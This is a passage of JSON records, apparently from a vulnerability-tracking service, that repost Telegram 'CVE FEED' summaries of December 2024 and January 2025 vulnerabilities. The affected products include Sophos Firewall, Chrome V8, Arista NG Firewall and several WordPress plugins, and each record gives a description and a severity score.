allocations are vulnerable to privilege escalation within a namespace through unredacted workload identity tokens. This vulnerability, identified as CVE-2024-12678, is fixed in Nomad Community Edition 1.9.4 and Nomad Enterprise 1.9.4, 1.8.8, and 1.7.16. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T04:12:03.000000Z"}, {"uuid": "9a260b5e-c344-4ebf-a25a-0a478e1655d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "https://t.me/cvedetector/13392", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12829 - Arista NG Firewall ExecManagerImpl Command Injection Remote Root Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12829 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall ExecManagerImpl Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Arista NG Firewall. Authentication is required to exploit this vulnerability.  \n  \nThe specific flaw exists within the ExecManagerImpl class. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24015. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:58.000000Z"}, {"uuid": "af2e2581-f848-4852-898f-942ea45b623d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "https://t.me/cvedetector/13338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12785 - Cisco: Vehicle Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12785 \nPublished : Dec. 19, 2024, 3:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability was found in itsourcecode Vehicle Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file sendmail.php. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T17:19:40.000000Z"}, {"uuid": "914a9d8c-1e3d-499c-b9ee-7b07a17558d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12786", "type": "seen", "source": "https://t.me/cvedetector/13337", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12786 - Adobe Downloader XPC Service Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12786 \nPublished : Dec. 19, 2024, 3:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in X1a0He Adobe Downloader up to 1.3.1 on macOS. Affected is the function shouldAcceptNewConnection of the file com.x1a0he.macOS.Adobe-Downloader.helper of the component XPC Service. The manipulation leads to improper privilege management. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. This product is not affiliated with the company Adobe. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T17:19:39.000000Z"}, {"uuid": "fbdff33d-fd13-4620-ac93-517376a3e39f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://t.me/cvedetector/13380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12728 - Sophos Firewall Weak Credentials Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12728 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A weak credentials vulnerability potentially allows privileged system access via SSH to Sophos Firewall older than version 20.0 MR3 (20.0.3). \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:06.000000Z"}, {"uuid": "47ecab51-05e9-49ab-817f-e1d109b63f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "https://t.me/cvedetector/13377", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12175 - Rockwell Automation Arena Use After Free Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12175 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : Another \u201cuse after free\u201d\u00a0code execution vulnerability exists in the Rockwell Automation\u00a0Arena\u00ae\u00a0that could allow a threat actor to craft a DOE file and force the software to use a resource that was already used. If exploited, a threat actor could leverage this vulnerability to execute arbitrary code. To exploit this vulnerability, a legitimate user must execute the malicious code crafted by the threat actor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:00.000000Z"}, {"uuid": "cdca3177-9391-4cb4-ae71-dc32d6e5c4ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://t.me/cvedetector/13374", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12729 - Sophos Firewall Remote Code Execution SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12729 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A post-auth SQLi vulnerability in the User Portal allows authenticated users to execute code remotely in Sophos Firewall older than version 21.0 MR1 (21.0.1). \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:10:58.000000Z"}, {"uuid": "888049df-9d3c-421c-8471-b5abae81b03a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12111", "type": "seen", "source": "https://t.me/cvedetector/13372", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12111 - OpenText Privileged Access Manager LDAP Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12111 \nPublished : Dec. 19, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : In a specific scenario a LDAP user can abuse the authentication process in OpenText\u00a0Privileged Access Manager that allows authentication bypass.\u00a0This issue affects Privileged Access Manager version 23.3(4.4); 24.3(4.5) \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T22:20:55.000000Z"}, {"uuid": "745da18b-c981-4c2e-af9d-c3e9b0b04d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12121", "type": "seen", "source": "https://t.me/cvedetector/13302", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12121 - Wordpress Broken Link Checker Finder SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12121 \nPublished : Dec. 19, 2024, 2:15 a.m. | 40\u00a0minutes ago \nDescription : The Broken Link Checker | Finder plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.5.0 via the 'moblc_check_link' function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T03:55:51.000000Z"}, {"uuid": "6ad466ce-868c-4a67-ad9b-dfe525da4c18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12792", "type": "seen", "source": "https://t.me/cvedetector/13358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12792 - Codezips E-Commerce Site SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12792 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Codezips E-Commerce Site 1.0. Affected by this vulnerability is an unknown functionality of the file newadmin.php. The manipulation of the argument email leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:18.000000Z"}, {"uuid": "208e893d-3e39-4693-aac9-3a1aa50551bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12791", "type": "seen", "source": "https://t.me/cvedetector/13357", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12791 - Codezips E-Commerce Site SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12791 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability was found in Codezips E-Commerce Site 1.0. It has been rated as critical. This issue affects some unknown processing of the file signin.php. The manipulation of the argument email leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:18.000000Z"}, {"uuid": "4fdfad2b-f9a1-4032-93e4-e93d3592bdb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "https://t.me/cvedetector/13333", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12784 - iSourcecode Vehicle Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12784 \nPublished : Dec. 19, 2024, 2:15 p.m. | 22\u00a0minutes ago \nDescription : A vulnerability was found in itsourcecode Vehicle Management System 1.0. It has been classified as critical. Affected is an unknown function of the file editbill.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T15:39:23.000000Z"}, {"uuid": "14c2d03c-e491-45c1-9fd9-6301b02ec0d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12793", "type": "seen", "source": "https://t.me/cvedetector/13355", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12793 - PbootCMS Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12793 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in PbootCMS up to 5.2.3. Affected by this issue is some unknown functionality of the file apps/home/controller/IndexController.php. The manipulation of the argument tag leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 5.2.4 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:13.000000Z"}, {"uuid": "ea9da68a-384d-4321-92e9-c5596b4aacb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "https://t.me/cvedetector/13343", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12787 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12787 \nPublished : Dec. 19, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability has been found in 1000 Projects Attendance Tracking Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /student/check_student_login.php. The manipulation of the argument student_emailid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T18:09:52.000000Z"}, {"uuid": "ab4e3c8e-bb92-468a-b55b-96d736b05067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://t.me/cvedetector/13342", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12798 - Logback Core JaninoEventEvaluator Code Execution Armstrong\", \n  \"Content\": \"CVE ID : CVE-2024-12798 \nPublished : Dec. 19, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : ACE vulnerability in JaninoEventEvaluator  by QOS.CH logback-core  \n      upto and including version 1.5.12 in Java applications allows  \n      attacker to execute arbitrary code by compromising an existing  \n      logback configuration file or by injecting an environment variable  \n      before program execution.  \n  \n  \n  \n  \n  \nMalicious logback configuration files can allow the attacker to execute   \narbitrary code using the JaninoEventEvaluator extension.  \n  \n  \n  \nA successful attack requires the user to have write access to a   \nconfiguration file. Alternatively, the attacker could inject a malicious   \nenvironment variable pointing to a malicious configuration file. In both   \ncases, the attack requires existing privilege. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T18:09:50.000000Z"}, {"uuid": "44437caf-d25c-4828-a9de-252d0b2157ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://t.me/cvedetector/13328", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12782 - Fujifilm Apeos Web Interface Improper Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12782 \nPublished : Dec. 19, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability has been found in Fujifilm Apeos C3070, Apeos C5570 and Apeos C6580 up to 24.8.28 and classified as critical. This vulnerability affects unknown code of the file /home/index.html#hashHome of the component Web Interface. The manipulation leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T14:49:10.000000Z"}, {"uuid": "29360a1d-d96e-44ce-937e-7d4d21407d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "https://t.me/cvedetector/13326", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12783 - Itsourcecode Vehicle Management System Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12783 \nPublished : Dec. 19, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in itsourcecode Vehicle Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file /billaction.php. The manipulation of the argument extra-cost leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T14:49:09.000000Z"}, {"uuid": "b8ab55a9-2e7a-45ca-88c0-b1f019527f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12331", "type": "seen", "source": "https://t.me/cvedetector/13325", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12331 - Filester File Manager Pro \u2013 WordPress Unauthenticated Plugin Installation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12331 \nPublished : Dec. 19, 2024, 12:15 p.m. | 42\u00a0minutes ago \nDescription : The File Manager Pro \u2013 Filester plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'ajax_install_plugin' function in all versions up to, and including, 1.8.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install the Filebird plugin. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T13:59:01.000000Z"}, {"uuid": "1f5d63a5-5cea-4bed-8286-4e6ee2c5d17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12626", "type": "seen", "source": "https://t.me/cvedetector/13323", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12626 - AutomatorWP - WordPress Plugin Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12626 \nPublished : Dec. 19, 2024, 12:15 p.m. | 42\u00a0minutes ago \nDescription : The AutomatorWP \u2013 Automator plugin for no-code automations, webhooks & custom integrations in WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018a-0-o-search_field_value\u2019 parameter in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. When used in conjunction with the plugin's import and code action feature, this vulnerability can be leveraged to execute arbitrary code. \nSeverity: 9.6 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T13:59:00.000000Z"}, {"uuid": "338755da-05db-41d4-9fe3-1acfa52f9d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://t.me/cvedetector/13315", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12569 - HikVision XProtect Device Pack Log File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12569 \nPublished : Dec. 19, 2024, 9:16 a.m. | 19\u00a0minutes ago \nDescription : Disclosure of sensitive information in HikVision camera driver's log file in XProtect Device Pack allows an attacker to read camera credentials stored in the Recording Server under specific conditions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T10:38:16.000000Z"}, {"uuid": "aecb6bfc-55c3-4ef2-9568-805643b18e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "https://t.me/cvedetector/13249", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12741 - NI DAQExpress Remote Code Execution Deserialization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12741 \nPublished : Dec. 18, 2024, 8:15 p.m. | 36\u00a0minutes ago \nDescription : A deserialization of untrusted data vulnerability exists in NI DAQExpress that may result in remote code execution. Successful exploitation requires an attacker to get a user to open a specially crafted project file. This vulnerability affects DAQExpress 5.1 and prior versions. \u00a0Please note that DAQExpress is an EOL product and will not receive any updates. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T22:04:01.000000Z"}, {"uuid": "02e4e9e9-5b3b-43a6-963c-31aed19274aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://t.me/cvedetector/13261", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12692 - Google Chrome V8 Type Confusion Heap Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-12692 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:26.000000Z"}, {"uuid": "47b94d06-9d76-4e70-bce8-8d592f8051cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://t.me/cvedetector/13260", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12695 - Google Chrome Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12695 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Out of bounds write in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:25.000000Z"}, {"uuid": "9b1ab61e-7ceb-4723-89de-2ad3b2cd7504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://t.me/cvedetector/13259", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12694 - Google Chrome Use After Free Heap Corruption in Compositing\", \n  \"Content\": \"CVE ID : CVE-2024-12694 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Use after free in Compositing in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:22.000000Z"}, {"uuid": "e44500ff-bf28-4a3a-9b33-73e039a4ccf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/cvedetector/13258", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12693 - Google Chrome V8 Out-of-Bounds Memory Access RCE\", \n  \"Content\": \"CVE ID : CVE-2024-12693 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Out of bounds memory access in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:21.000000Z"}, {"uuid": "873d196a-9dce-4d15-b859-3e5c888300e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://t.me/cvedetector/15234", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12006 - W3 Total Cache Unauthorized Data Modification\", \n  \"Content\": \"CVE ID : CVE-2024-12006 \nPublished : Jan. 14, 2025, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The W3 Total Cache plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.8.1. This makes it possible for unauthenticated attackers to deactivate the plugin as well as activate and deactivate plugin extensions. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T08:58:26.000000Z"}, {"uuid": "ea913500-2554-4a4b-9e5c-c4c5f9adf118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://t.me/cvedetector/15233", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12008 - WordPress W3 Total Cache Debug Log Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12008 \nPublished : Jan. 14, 2025, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The W3 Total Cache plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.8.1 through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.  \nNote: the debug feature must be enabled for this to be a concern, and it is disabled by default. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, 